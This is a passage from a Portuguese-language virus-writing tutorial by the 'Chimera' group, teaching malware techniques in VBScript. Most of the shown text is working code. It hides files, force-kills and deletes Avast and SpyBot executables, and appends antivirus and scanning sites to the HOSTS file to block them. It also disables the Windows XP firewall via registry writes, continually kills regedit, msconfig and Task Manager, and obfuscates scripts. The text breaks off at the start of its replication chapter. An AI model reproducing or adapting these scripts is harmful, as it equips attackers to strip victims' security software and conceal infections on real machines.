You are on page 1of 32

V1RU5

Conceitos bsicos de estudo de vrus em VBS

Chimera
1995-2006
BrasCow / Kdex
brascow@hotmail.com / darshu_14@hotmail.com


http://chimera.namoral.com
Torna-te consciente de tua ignorncia, isto , identifique o que precisa
aprender para melhorar a si mesmo - Scrates.

Sumrio
Stealth Parte 1......................................1
- Ocultando arquivos..........................................1
- Usando VbHide...............................................3

Matando antivrus, anti-Spyware e o Firewall.........4


-

Finalizando processos.......................................4
Matando o Antivrus (Avast!)................................6
Deletando arquivos..........................................7
Matando Antivrus On-line...................................9
O arquivo Hosts.............................................9
Matando o Firewall do Windows XP SP2.......................12
Alterando as configuraes do Firewall no registro.........12
Matando o anti-Spyware (SpyBot)............................14

Stealth Parte 2.....................................15


- Uso dos dois pontos (:) no cdigo........................16

Replicao..........................................16
- Fazendo o cdigo se replica................................17
- Replicao por P2P.........................................18
- Replicao por e-mail......................................19

Ativao............................................21
-

Iniciar
Iniciar
Iniciar
Criando

com o Windows por meio de um valor no registro.....21


com o Windows por meio da pasta iniciar............22
ao abrir arquivo de um outro programa..............23
uma tarefa no Windows para iniciar.................24

Poliformismo........................................27
Residncia..........................................29

STEALTH (INVISIVEL) Parte 1


Introduo
O conceito de deixar o vrus invisvel uma ao fundamental para
garantir a sobrevivncia do cdigo, assim proteger o cdigo de ser
descoberto e dificultando uma possvel desinfeco, por estes e outros
motivos o conceito stealth muito utilizado. Para trabalhar com esta
tcnica necessrio ter um conhecimento do sistema para qual seu cdigo
ser criado para agir, e tambm usando sua criatividade para realizar as
suas aes e prevenes.
O conceito stealth (invisvel), no muito antigo dentro destes
vinte anos. Desde a criao do primeiro vrus de computador Brain, criado
em 1986, uma comparao pode ser feita, a forma com que os vrus so
programados hoje bem diferente da forma com que eles eram programados h
17 anos atrs, a ativao de um cdigo malicioso causava varias mensagens
ou mesmo imagens na tela do computador da vitima, este o caso de um vrus
chamado Ping Pong que uma vez executado lanava uma bola de um lado para
outro na tela do computador, este tipo de programao foi muito utilizado
por VX para ganhar o mximo de notoriedade possvel. Hoje em dia, o
objetivo justamente o contrrio, onde cada VX tenta deixar o seu cdigo
cada vez mais discreto (invisvel no sistema), para infectar os sistemas
sem que os usurios saibam o que est acontecendo, este o conceito de
Stealth, pois com o surgimento dos vrus tambm surgiram empresas voltadas
a combater estas pragas virtuais.

- Ocultado arquivos
Deixar um vrus invisvel possvel
uso de um programa chamado attrib.exe, que
Windows, como Win98, XP SP1, SP2. O attrib
atributos de arquivos, como exemplo deixar
somente leitura, entre outros atributos no
de como usar.

por muitos meios, um deles o


est presente na maioria dos
nos permite alterar um ou mais
arquivos ocultos, arquivo
sistema, abaixo esta a definio

attrib [+R | -R] [+A | -A] [+S | -S] [+H | -H] [[unidade:] [caminho] arquivo] [/S [/D]
Exemplo de uso do attrib em um arquivo no diretrio C:\ chamado Chimera.txt
Ex: attrib +R +A +S +H C:\chimera.txt
Tabela de parmetros
Valores

Chimera

Definio

Define um atributo

Limpa um atributo

Atributo de arquivo somente leitura

Atributo de arquivo de leitura-gravao

Atributo de arquivo de sistema

Atributo de arquivo oculto

/s

Processa os arquivos correspondentes na pasta


atual e em todas as subpastas

/d

Inclui pastas no processamento

Vamos a um exemplo: crie um arquivo de texto em C:\ chamado Chimera,


depois vai em iniciar/executar, e digite o seguinte: COMMAND v no
diretrio raiz (C:\) pelo command, onde foi criado o arquivo de texto
chamado chimera.
Em C:\, digite attrib, visualize a figura abaixo como exemplo:

Figura 01
Executando o attrib, ele mostra todas as propriedades dos arquivos no
seu diretrio no canto esquerdo, e no canto diretrio o nome dos arquivos
direita. Perceba que o arquivo chimera.txt tem a propriedade A, que
significa que ele um arquivo de leitura-gravao, agora vamos deixar este
arquivo oculto, digite o seguinte: attrib +H C:\chimera.txt

Figura 02
Caso tenha digitado corretamente, o arquivo Chimera.txt pra ter
ficado oculto no sistema, execute o attrib e veja como ficaram as
propriedades do arquivo chimera.txt na figura abaixo.

Figura 03
Veja que o arquivo chimera.txt, ficou oculto no sistema e que o
parmetro H esta sendo exibido, indicando as suas propriedades.
Este foi um exemplo bsico, agora vamos passar este conhecimento para
um cdigo em VBS, para que o nosso vrus venha a deixar os seus rastros
ocultos.

Chimera

Copie o cdigo a seguir e salve como Stealth1.vbs:


REM Tutorial Chimera
DIM WSH
Set WSH = CreateObject ("Wscript.Shell")
WSH.Run ("command /c attrib +H C:\chimera.txt")
Bom, o cdigo acima um cdigo bsico onde a nica parte que nos
interessa a ultima linha:
WSH.Run (command /c attrib +H c:\chimera.txt)
Nesta linha executado o command que executa o programa attrib, com o
parmetro +H que deixa o arquivo chimera.txt oculto no sistema, bom este
um exemplo simples onde utilizado somente o parmetro +H, mas poderamos
usar outro como exemplo, Copie o cdigo a seguir e salve como Stealth2.vbs:
REM Tutorial Chimera
DIM WSH
Set WSH = CreateObject ("Wscript.Shell")
WSH.Run ("command /c attrib +R +A +S +H C:\chimera.txt")
Faa alguns testes, deixe arquivos como somente leitura, arquivo de
sistema, teste todos os parmetros para ver como funciona, teste todos os
parmetros em Pastas tambm, no fique limitado somente a arquivos.

- Usando VbHide
Vimos que com o programa attrib possvel deixar arquivos ocultos no
entre outras coisas, e assim dificultando a sua localizao e se tornando
invisvel no sistema, mas ao executar o command para executar o attrib
aberta uma janela do command de que logo aps executar o comando fechada,
graas ao parmetro /c do command. Agora que tal deixar esta ao realmente
invisvel onde esta janela fique totalmente invisvel, para isso usado o
parmetro VbHide, que permite que janelas executadas por um cdigo em VBS
fique oculta para os usurios. Copie o cdigo a seguir e salve como
Stealth3.vbs:
REM Tutorial Chimera
DIM WSH
Set WSH = CreateObject ("Wscript.Shell")
WSH.Run ("command /c +H C:\chimera.txt"),VbHide
A nica diferena neste cdigo do exemplo Stealth3, que foi acrescentar o
VbHide na ultima linha do cdigo. Veja que a janela do command que antes
erra exibida e depois encerrada j no abre mais na tela, vamos a outro
exemplo simples, Copie o cdigo a seguir e salve como Stealth4.vbs:
REM Tutorial Chimera
DIM WSH
Set WSH = CreateObject ("Wscript.Shell")
WSH.Run ("command /c ping 127.0.0.1"),VbHide
Veja que nada acontece, mas caso verifique quais processos esto rodando
pressionando Ctrl + Alt + Del ,este processo s estar visvel no
Gerenciador de tarefas do Windows (taskmgr.exe).

Chimera

Matando Antivrus, Anti-SpyWare e o Firewall


Introduo
Aps o vrus se instalar em um sistema, o prximo passo enfraqueclo, assim deixando vulnervel para diversas aes para um VX, o Trade VX
Group, denominou esta tcnica de enfraquecer o sistema, de retrovrus
ciberntica em sua obra Dossi V1RU5, baseada em aes de vrus biolgicos
com capacidade de remover os anticorpos para se fortalecer.
Com a mesma lgica dos vrus biolgicos, um vrus de computador pode
remover os seus anticorpos, os assim chamados (antivrus, firewall e AntiSpyware), para se proteger ou para dar acesso ao VX a certas funes.
Estas aes de remover determinados programas de proteo de um
sistema um conceito muito interessante, pois pode variar dependendo das
necessidades e objetivo de cada VX.

- Finalizando processos
Acredito que at o mais leigo dos usurios j tenha finalizado um
processo que estava rodando no sistema utilizando a seqncia clssica das
teclas Ctrl + Alt + Del, e selecionou algum processo e finalizou.
Para estar fazendo mesma coisa vamos usar um outro programa nativo
de algumas verses Windows (Windows XP SP1, SP2), chamado taskkill, no
lugar do Ctrl + Alt + Del, que nos permite finalizar processos em execuo
na memria atravs de linhas de comando pelo command do MS-DOS, com isso
podemos finalizar Antivrus, firewall entre outros programas.
Abaixo mostrada uma lista dos parmetros que vamos usar e a forma
como usar:
Taskkill [/F] [/IM NOME_DO_PROCESSO_.EXE][/T]

Parmetros

Definio

/F

Especifica o encerramento forado do(s) processo(s).

/IM

Especifica que o nome de imagem do processo que deve


ser encerrado. Curinga * pode se usado para
especificar todos os nomes de uma imagem.

/T

Tree Kill: encerra o processo especificado e quaisquer


processos filhos iniciados por ele.

Ex: taskkill /F /IM calc.exe /T


Neste exemplo acima finalizado o processo que esta sendo executado,
como podemos ver a simples calculadora do Windows calc.exe
Ex: taskkill /F /IM winword.exe /T
Neste outro exemplo acima esta sendo finalizado o aplicativo
winword.exe (Word) do Microsoft Office.
Vamos a um exemplo: v em, iniciar/executar, e digite o seguinte: Wordpad,
e clique em OK para executar. Retorne em, iniciar/executar, e digite:
taskkill /F /IM wordpad.exe /T, clique em OK para executar. Veja as
seguintes aes ocorrero, o WordPad foi executado, e logo aps digitar a
segunda linha de instruo no executar e clicar em OK o WordPad foi
finalizado.

Chimera

Agora vamos passar este exemplo para um cdigo em VBS, Copie o cdigo
a seguir e salve como Kill1.vbs:
REM Tutorial Chimera
DIM WSH
Set WSH = CreateObject ("Wscript.Shell")
WSH.Run ("wordpad.exe")
Wscript.Sleep 5000
WSH.Run ("command /c taskkill /F /IM wordpad.exe /T"),VbHide

Veja que neste exemplo o wordpad executado depois o programa da uma


pausa de 5 segundos utilizando (Wscrip.Sleep 5000) depois continuar a
execuo da prxima linha, que finaliza a execuo do wordap.
Wscript.Sleep perodo de tempo, um segundo igual a 1000, dois
segundo igual a 2000 e assim por diante, abaixo um exemplo, Copie o
cdigo a seguir e salve como Sleep.vbs:
REM Tutorial Chimera
wscript.sleep 5000
MsgBox "Chimera",,"Chimera"
Agora vamos fazer mais um exemplo com o taskkill, onde ser
executado o Wordpad e a calculadora, e logo depois sero finalizados os
dois processos, Copie o cdigo a seguir e salve como Kill2.vbs:
REM Tutorial Chimera
DIM WSH
Set WSH = CreateObject ("Wscript.Shell")
WSH.Run ("wordpad.exe")
WSH.Run ("calc.exe")
Wscript.Sleep 5000
Msgbox "O Wordpad e a Calculadora Ser Finalizado",64,"Chimera"
WSH.Run ("command /c taskkill /F /IM wordpad.exe /T"),VbHide
WSH.Run ("command /c taskkill /F /IM calc.exe /T"),VbHide
Neste outro exemplo so executados dois arquivos o wordpad e a
calculadora, depois o cdigo da uma pausa de 5 segundos assim como no
exemplo Sleep.vbs, utilizando o Wscript.Sleep, depois exibe uma mensagem
informando que o wordpad e a calculadora sero finalizados e logo aps isso
os dois processos so finalizados.

Faa vrios testes como o exemplo acima, alterando o arquivo a ser


finalizado, explore a sua imaginao.

Chimera

Matando o Antivrus (Avast!).


Introduo
Vamos iniciar a remoo de um antivrus do sistema, ser utilizado
como exemplo um dos mais usados antivrus no momento, o Avast!
(www.avast.com), que possui melhor desempenho entre os antivrus free da
atualidade e varias ferramentas de proteo extra como, P2P, E-mail,
Internet entre outras.
Para fazer estes testes foi Instalado a ultima verso disponvel do
Avast! em portugus, e logo aps a instalao o antivrus foi atualizado, o
sistema operacional utilizado foi o Windows XP SP1, relembrando que o
arquivo taskill que iremos usar, s esta disponvel em algumas verses do
Windows (Windows XP SP1, SP2) como foi dito no tpico Finalizando
Processos.
Toda vez que o sistema operacional iniciado, vrios servios tambm
so iniciados junto com o sistema, um deles o antivrus quando instalado,
assim protegendo o sistema de algumas ameaas, verificando a memria etc.
O Avast! Quando iniciado executa alguns processos, que ficam rodando
permanentemente no sistema, veja a lista abixo:
ashserv.exe Proteo residente da memria
ashdisp.exe - Gerencia os aplicativos do avast!
aswupdsv.exe Atualizao automtica do antivrus
aswebsv.exe Verifica o navegador de internet
ashmaisv.exe Verifica o programa de e-mail
Para saber quais os arquivos iniciado no sistema por um antivrus,
possvel verificando o registro do Windows ou por uso de algum aplicativo
especifico que faz este tipo de servio, neste caso foi usado uma
ferramenta muito boa, Autoruns (www.sysinternals.com), que mais pratico
que o registro do Windows, para esta determinada funo.

Figura 04
Exemplo do Autoruns em execuo
O Autoruns possui um timo help, onde no ser necessrio estar
informando o que contem cada aba do programa, pois acredito que qualquer
duvida o auxilio do help pode estar resolvendo.

Chimera

O Autoruns apresenta a chave do registro do Windows e os arquivos


referentes dos mesmos.

Figura 05
Agora vamos passar este exemplo para um cdigo em VBS, Copie o cdigo a
seguir e salve como KillAVAST!1.vbs:
REM Tutorial Chimera
DIM WSH
Set WSH = CreateObject ("Wscript.Shell")
WSH.Run ("command /c taskkill /F /IM ashserv.exe /T"),VbHide
WSH.Run ("command /c taskkill /F /IM ashdisp.exe /T"),VbHide
WSH.Run ("command /c taskkill /F /IM aswupdsv.exe /T"),VbHide
WSH.Run ("command /c taskkill /F /IM ashmaisv.exe /T"),VbHide
WSH.Run ("command /c taskkill /F /IM ashwebsv.exe /T"),VbHide

Este cdigo segue os conceitos anteriores deste tutorial, observe que


s passamos o uso do parmetro do taskkill e os nomes encontrados dos
arquivos do Avast para um simples cdigo em VBS, porem eficiente em seu
objetivo.
Procure fazer vrios testes, usando este conhecimento, usado neste
exemplo, altere os nomes dos arquivos para outros, use a criatividade.

- Deletando arquivos
s vezes s finalizar o processo em memria no o suficiente, pois
o mesmo pode vir a ser executado outra vez, assim que o sistema
reiniciado, para resolver este problema um simples fato de deletar o
arquivo pode resolver totalmente o problema, abaixo mostrado como deletar
arquivos de um sistema, mas antes de deletar um arquivo que esteja em
execuo na memria necessrio finaliza-lo antes, como foi visto nos
tpicos anteriores.
Para estar fazendo os testes, faa uma copia do arquivo calc.exe que
fica dentro da pasta, C:\WINDOWS\system32 copie para C:\ (raiz), mude o
nome do arquivo para chimera.exe e Copie o cdigo a seguir e salve como
Alguma coisa.vbs, dentro de C:\ (raiz).
Aps digitar o cdigo execute o arquivo chamado chimera, que uma
copia da calculadora do Windows, logo depois execute o KillDEL1.VBS.
REM Tutorial Chimera
DIM DEL, FSO, WSH
Set FSO = CreateObject ("Scripting.FileSystemObject")
Set WSH = CreateObject ("Wscript.Shell")
On Error resume next
WSH.Run ("command /c taskkill /F /IM chimera.exe /T"),VbHide
wscript.sleep 2000
Set DEL = FSO.DeleteFile("Chimera.exe")

Chimera

OBS: Este exemplo acima deleta todos os arquivos de um diretrio com o nome
de chimera, tome cuidado, caso tenha algum arquivo importante com este
nome, pois ele ser deletado.
Sntese do DeleteFile()
Set Varivel = FSO.DeleteFile(Caminho\Nome_rquivo.extenso)
Tambm podemos deletar todos os arquivos de uma mesma extenso dentro
de um diretrio utilizando o seguinte: (*.Exenteso) ou mesmo deletar
todos os arquivos de um mesmo nome dentro de um diretrio como:
(nome_arquivo.*), como foi mostrado no cdigo KillDEL1.VBS.
Este cdigo um simples exemplo de como finaliza o processo e depois
deleta o arquivo que estava em execuo. Note que tambm foi utilizada uma
funo chamada On error resume next, que determina diante de um erro, que
a execuo do programa prossiga para o prximo passo.
Agora s passar este conhecimento para finalizar e deletar os arquivos do
avast!, Copie o cdigo a seguir e salve como KillAVAST!2.vbs:
REM Tutorial Chimera
DIM WSH, DEL, FSO
Set WSH = CreateObject ("Wscript.Shell")
Set FSO = CreateObject ("Scripting.FileSystemObject")
WSH.Run ("command /c taskkill /F /IM ashserv.exe /T"),VbHide
WSH.Run ("command /c taskkill /F /IM ashdisp.exe /T"),VbHide
WSH.Run ("command /c taskkill /F /IM aswupdsv.exe /T"),VbHide
WSH.Run ("command /c taskkill /F /IM ashmaisv.exe /T"),VbHide
WSH.Run ("command /c taskkill /F /IM ashwebsv.exe /T"),VbHide
wscript.sleep 30000
On error resume next
Set DEL = FSO.DeleteFile("C:\Arquivos de Programas\Alwil
Software\Avast4\ashserv.exe")
Set DEL = FSO.DeleteFile("C:\Arquivos de Programas\Alwil
Software\Avast4\ashdisp.exe")
Set DEL = FSO.DeleteFile("C:\Arquivos de Programas\Alwil
Software\Avast4\aswupdsv.exe")
Set DEL = FSO.DeleteFile("C:\Arquivos de Programas\Alwil
Software\Avast4\ashmaisv.exe")
Set DEL = FSO.DeleteFile("C:\Arquivos de Programas\Alwil
Software\Avast4\ashwebsv.exe")

Neste cdigo so finalizados cinco processos do avast! e depois o programa


da uma pausa de 30 segundos antes de continuar a execuo das prximas
linhas para que todos os processos sejam finalizados, aps os 30 segundos,
os mesmos arquivos que foram finalizados so deletados do sistema, e assim
termina este cdigo simples, porem eficiente.

Chimera

Matando Antivrus On-line


Introduo
Os antivrus on-line so recursos muito utilizados hoje em dia,
devido ao grande nmero vrus existe, este um servio que qualquer um
pode usar sem ter que pagar por ele. Assim o usurio no precisa esta
instalando um programa antivrus em sua maquina e deixando seu sistema mais
lento devido verificao permanente da memria, graas a este servio,
com uma simples conexo a internet qualquer um pode fazer uma verificao
em seu sistema a procura de vrus ou mesmo spywares e vulnerabilidades.
Este tipo de antivrus totalmente imune ao conceito estudado
anteriormente, para isso vamos usar outro conhecimento para torna nosso
vrus protegido.

(security.symantec.com)

(housecall.trendmicro.com)
Figuras 6
Exemplos de dois sites que fornecem uma verificao antivrus on-line

- O arquivo Hosts
O arquivo HOSTS um arquivo especial do sistema operacional. Ele
capaz de forar a resoluo de certos nomes (ou sites na Internet) para
endereos IP especficos. Dessa forma, voc pode bloquear sites, fazer com
que um endereo entre em uma pgina diferente, entre outras coisas.
Arquivos HOSTS so usados tanto para objetivos maliciosos como para
melhorar a vida do usurio na Internet.
Arquivo HOSTS est em locais diferentes dependendo do sistema operacional.
Veja uma tabela com a localizao dele nos sistemas mais comuns:
Sistema
Windows 9x/ME

Local
%WINDIR%\hosts

Windows NT/200x/XP %WINDIR%\system32\drivers\etc\hosts


Unix

/etc/hosts

Netware

SYS:ETC/HOSTS

Nota: %WINDIR% uma varivel e define a pasta do Windows.


O arquivo HOSTS apenas HOSTS, sem possuir uma extenso no arquivo. Por
este motivo voc parece indicar uma pasta, mas na verdade apenas um
arquivo sem extenso.

Chimera

Figura 7
Exemplo de um arquivo HOSTS aberto no Bloco de Notas
Vamos a um exemplo para compreender o funcionamento do arquivo Hosts.
Ex:

Figura 8
Neste exemplo foi inserida a seguinte linha abaixo como mostra figura X:
Ex: 200.221.2.45 www.vxbrasil.com
Onde toda vez que for digitado o site www.vxbrasil.com, o sistema
verificara o arquivo Hosts para ver se alguma instruo ao seguinte site,
caso alguma instruo ele verifica para qual IP deve redirecionar o site,
como neste exemplo o IP ser 200.221.2.45.
Agora vamos passar esta idia para um cdigo em VBS, para que o nosso
vrus esteja redirecionando alguns sites de antivrus On-line e assim
deixando indisponvel este tipo de servio, Copie o cdigo a seguir e salve
como KillAVW1.vbs:
REM
DIM FSO, F
On Error Resume Next
Set FSO = CreateObject ("Scripting.FileSystemObject")
Set F = FSO.OpenTextFile("C:\WINDOWS\system32\drivers\etc\hosts",8,false)
F.writeLine "0.0.0.0 housecall.trendmicro.com"
F.writeLine "0.0.0.0 www.windowsecurity.com"
F.writeLine "0.0.0.0 www.pandasoftware.com"
F.writeLine "0.0.0.0 us.mcafee.com"
F.writeLine "0.0.0.0 www.bitdefender.com"
F.writeLine "0.0.0.0 support.f-secure.com"
F.writeLine "0.0.0.0 www.ravantivirus.com"
F.writeLine "0.0.0.0 onlinescan.avast.com"
F.writeLine "0.0.0.0 www3.ca.com"
F.writeLine "0.0.0.0 www.kaspersky.com"
F.writeLine "0.0.0.0 www.commandondemand.com"
F.writeLine "0.0.0.0 www.virustotal.com"
F.Close

Chimera

10

Este cdigo escreve 12 sites no arquivo Hosts, caso o usurio queira


acessar alguns destes sites que foram gravados no arquivo, ser
redirecionado para o IP 0.0.0.0, que um IP inexistente e nada acontecera,
veja que este cdigo um simples cdigo para escrever em algum arquivo,
com j foi mostrado no Tutorial de VBS.
Veja como ficou o arquivo Hosts aps a execuo do cdigo.

Figura 9
O arquivo Hosts pode ser usado para outras aes como foi dito no comeo
deste assunto, procure imaginar outras utilidades.
Lista de alguns sites de Antivrus entre outros:
housecall.trendmicro.com
www.windowsecurity.com
www.pandasoftware.com
us.mcafee.com
www.bitdefender.com
support.f-secure.com
www.ravantivirus.com
onlinescan.avast.com
www3.ca.com
www.kaspersky.com
www.commandondemand.com
www.virustotal.com
security.symantec.com
support.f-secure.com
online.drweb.com
www.drweb.com
www.avast.com
www.asw.cz
www.iavs.net
www.iavs.cz
www.safer-networking.org
www.pestpatrol.com
www.networksafety.com
www.trojanhunter.com
www.net-peeker.com
www.f-secure.com
www.abacre.com
www.eset.com
www.nod32.com
www.webimmune.net
www.antivirus.com.br
www.sophos.com
www.analogx.com
www.r-tt.com

Chimera

11

Matando o Firewall do Windows XP SP2


Introduo
O Firewall ou barreira de fogo um recurso indispensvel para manter
a segurana ao computador, esta uma ferramenta presente em 98% das
empresas, mas no muito utilizada por usurios domsticos, pois muitos nem
sabe da existncia de tal ferramenta e o que ela faz. Pensando nisso, a
Micro$oft incluiu um FireWall bsico ao seu sistema, para que os usurios
tenham uma certa proteo mesmo que bsica, quando estiverem conectados a
internet ou mesmo a uma rede ponto a ponto.

- Alterando as configuraes do Firewall no Registro


Todas as configuraes do Firewall do Windows esto guardadas dentro
do registro, para que nosso vrus possa estar fazendo modificaes no
Firewall s temos que indicar qual chave deve ser alterado e como funciona
cada uma delas.
Caminho e arquivo do Firewall do Windows:
C:\WINDOWS\system32/firewall.cpl
Caminho para desabilitar o firewall do windows XP SP2:
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\Fi
rewallPolicy\StandardProfile\Nome_Chave,dado,tipo
Estas so as trs chaves responsveis pela configurao principal do
Firewall, e o que cada uma delas fazem:
EnablesFirewall:
Esta chave responsvel por habilitar ou desabilitar o Firewall
DisableNotifications:
Notifica quando o Firewall bloqueia programas
DoNotAllowExceptions:
Notifica quando o Firewall bloqueia programas e no permite excees
Agora s nos resta saber os dados corretos e o tipo das chaves para estar
passando isso para um cdigo em VBS, abaixo h uma tabela com as
informaes necessrias:

Nome da chave
EnableFirewall

DisableNotifications

DoNotAllowExceptions

Chimera

Dado

Hab / Des

Tipo

Desabilitado

REG_DWORD

Habilitado

REG_DWORD

Habilitado

REG_DWORD

Desabilitado

REG_DWORD

Desabilitado

REG_DWORD

Habilitado

REG_DWORD

12

Com todas as informaes mostradas acima, j da para passar tudo para


um nico cdigo em VBS que desabilita o Firewall, Copie o cdigo a seguir e
salve como KillFW1.vbs:
REM
DIM WSH
Set WSH = Createobject("Wscript.Shell")
WSH.RegWrite "HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\Fi
rewallPolicy\StandardProfile\EnableFirewall",0,"REG_DWORD
WSH.RegWrite "HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\Fi
rewallPolicy\StandardProfile\DisableNotifications",1,"REG_DWORD"
WSH.RegWrite "HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\Fi
rewallPolicy\StandardProfile\DoNotAllowExceptions",0,"REG_DWORD"
Neste cdigo so desabilitadas as trs opes mostradas acima
anteriormente, faa alguns testes habilitando e desabilitando o firewall.

Cdigo comentado:
DIM WSH
Declarao da varivel WSH
Set WSH = Createobject("Wscript.Shell")
Aqui ligada a varivel WSH com o objeto Wscript.Shell, que tem por
objetivo trabalhar com executar arquivos, ler o registro, entre outras
coisas.
WSH.RegWrite "HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\Fi
rewallPolicy\StandardProfile\EnableFirewall",0,"REG_DWORD
Aqui escrito o valor EnableFirewall no caminho
HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\
StandardProfile no registro do Windows, com o valor 0 do tipo REG_DWORD,
que desabilita o Firewall.
WSH.RegWrite "HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\Fi
rewallPolicy\StandardProfile\DisableNotifications",1,"REG_DWORD"
escrito o valor DisableNotifications no caminho
HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\
StandardProfile no registro do Windows, com o valor 1 do tipo REG_DWORD,
que desabilita a notificao do Firewall quando bloqueai algum programa.
WSH.RegWrite "HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\Fi
rewallPolicy\StandardProfile\DoNotAllowExceptions",0,"REG_DWORD"
Aqui escrito o valor DoNotAllowExceptions no caminho
HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\
StandardProfile no registro do Windows, com o valor 0 do tipo REG_DWORD,
que desabilita a notificao do Firewall quando bloqueia algum programa,
sem excees.

Chimera

13

Matando o Anti-Spyware (SpyBot)


Introduo
Dando continuidade ao contedo estudado at o momento, vamos ver como
eliminar do sistema um dos softwares muito utilizado por vrios usurios, o
SpyBot (Anti-Spyware) (www.safer-networking.org), abaixo ser mostrado um
cdigo que simplesmente encerra todos os processos do SpyBot da memria e
logo depois deleta todos arquivos .EXE e .DLL e todas as Pastas do SpyBot.

Cdigo
Copie o cdigo a seguir e salve como KillSB1.vbs:
REM Tutorial Chimera
DIM WSH, DEL, FSO
Set WSH = CreateObject ("Wscript.Shell")
Set FSO = CreateObject ("Scripting.FileSystemObject")
WSH.Run ("command /c taskkill /F /IM blindman.exe /T"),VbHide
WSH.Run ("command /c taskkill /F /IM SpybotSD.exe /T"),VbHide
WSH.Run ("command /c taskkill /F /IM TeaTimier.exe /T"),VbHide
WSH.Run ("command /c taskkill /F /IM Update.exe /T"),VbHide
wscript.sleep 50000
On error resume next
Set DEL = FSO.DeleteFile("C:\Arquivos de programas\Spybot - Search &
Destroy\*.exe")
Set DEL = FSO.DeleteFile("C:\Arquivos de programas\Spybot - Search &
Destroy\*.dll")
Set DEL = FSO.DeleteFolder("C:\Arquivos de programas\Spybot - Search &
Destroy\*.*")
A nica parte que nos interessa neste cdigo a seguinte abaixo, pois o
resto j foi comentado antes.
Sntese do DeleteFolder()
Variavel.DeleteFolder(Caminho\Nome_Pasta_a_ser_deletada)

Comentando o cdigo:
On error resume next
Continua a execuo do programa caso encontre algum erro.
Set DEL = FSO.DeleteFile("C:\Arquivos de programas\Spybot - Search &
Destroy\*.exe")
A varivel DEL deleta todos os arquivos *.exe, que se encontra neste
caminho, "C:\Arquivos de programas\Spybot - Search & Destroy\*.exe",
utilizando o objeto FSO.DeleteFile.
Set DEL = FSO.DeleteFile("C:\Arquivos de programas\Spybot - Search &
Destroy\*.dll")
A varivel DEL deleta todos os arquivos *.dll, que se encontra neste
caminho, "C:\Arquivos de programas\Spybot - Search & Destroy\*.dll",
utilizando o objeto FSO.DeleteFile.
Set DEL = FSO.DeleteFolder("C:\Arquivos de programas\Spybot - Search &
Destroy\*.*")
A varivel DEL deleta todas as pastas *.*, que se encontra neste
caminho, "C:\Arquivos de programas\Spybot - Search & Destroy\*.*",
utilizando o objeto FSO.DeleteFolder.

Chimera

14

STEALTH (INVISIVEL) Parte 2


Introduo
Nesta segunda parte de stealth, apresentado um cdigo j visto
antes em finalizando processos, s que neste cdigo finalizado trs
processos: regedit.exe, msconfig.exe e taskmgr.exe, que so ferramentas
nativas do Windows para estar fazendo diversas configuraes, ento como
proteo pode-se atacar estes processos.

Cdigo
Copie o cdigo a seguir e salve como KillTOOL1.vbs:
REM Tutorial Chimera
DIM WSH, REP
Set WSH = CreateObject ("Wscript.Shell")
REP = 0
While REP <> 1
Wscript.Sleep 1000
WSH.Run ("command /c taskkill /F /IM regedit.exe /T"), VbHide
WSH.Run ("command /c taskkill /F /IM msconfig.exe /T"), VbHide
WSH.Run ("command /c taskkill /F /IM taskmgr.exe /T"), VbHide
Wend

Cdigo comentado:
DIM WSH, REP
Declarao das variveis WSH, REP
Set WSH = CreateObject ("Wscript.Shell")
Aqui ligada a varivel WSH ao objeto Wscript.Shell
REP = 0
A variavel REP tem o valor igual zero (0)
While REP <> 1
Inicia um loopin, enquanto a varivel REP for <> (diferente) de 1,
repete os comando abaixo.
Wscript.Sleep 1000
Esta funo interrompe a execuo do cdigo por um segundo
WSH.Run ("command /c taskkill /F /IM regedit.exe /T"), VbHide
Executa o command que por sua vez executa o programa taskkill com alguns
parmetros para finalizar o processo regedit.exe, tambm executa a funo
VbHide para deixar a janela invisvel.
WSH.Run ("command /c taskkill /F /IM msconfig.exe /T"), VbHide
Executa o command que por sua vez executa o programa taskkill com alguns
parmetros para finalizar o processo regedit.exe, tambm executa a funo
VbHide para deixar a janela invisvel.
WSH.Run ("command /c taskkill /F /IM taskmgr.exe /T"), VbHide
Executa o command que por sua vez executa o programa taskkill com alguns
parmetros para finalizar o processo regedit.exe, tambm executa a funo
VbHide para deixar a janela invisvel.
Wend
Fim do looping

Chimera

15

- Uso dos dois pontos (:) no cdigo


possvel estar tornando o cdigo um pouco confuso em sua
visualizao e entendimento, Para que? Assim caso algum encontre e abra o
cdigo para estar verificando o seu entendimento se torna muito complexo
at dependendo das suas funes. Com o simples fato de colocar varias
linhas de comando uma na frente da outra, fazendo uso dos dois pontos
(:), pode confundir muito quem o visualiza.
Veja este exemplo abaixo com trs linhas apenas, copie o cdigo a
seguir e salve como Stealth5.vbs:
REM Tutorial Chimera
DIM WSH, REP:Set WSH = CreateObject ("Wscript.Shell"):REP = 0:While REP <>
1:Wscript.Sleep 1000:WSH.Run ("command /c taskkill /F /IM regedit.exe
/T"),VbHide:WSH.Run ("command /c taskkill /F /IM msconfig.exe
/T"),VbHide:WSH.Run ("command /c taskkill /F /IM taskmgr.exe /T"),VbHide
Wend

Replicao
Introduo
Provavelmente a maior revoluo de toda a era da informtica, com
certeza foi o surgimento da internet, onde de inicio no passava de algumas
universidades e bases militares com os seus computadores entre ligados para
troca de informaes, com o passar do tempo empresas comearam a transforma
esta rede de computadores em negcios lucrativos, com a produo de peas e
equipamentos. Com isso empresas de diversos seguimentos comearam a se
conectar esta rede de computadores, que agora no s entre universidades
e bases militares, mas para ampliar os seus negcios e substituir seus
enormes arquivos de papel por computadores.
Agora qualquer pessoal poderia ter um microcomputador dentro de casa,
e se conectar a internet para qualquer finalidade, como pagar suas contas
ou mesmo fazer compra de produtos na internet, como possvel ver no diaa-dia, mas a internet tambm possibilitou a pea que faltava ao grande
quebra cabea dos criadores de vrus, a forma de distribuir seus vrus pelo
mundo em questo muito curta de tempo e com uma poder enorme de alcance.
Nos anos 80 a forma de propagao dos vrus era atravs da troca de
disquetes, uma forma muito lenta onde os casos de infeco eram bem pouco,
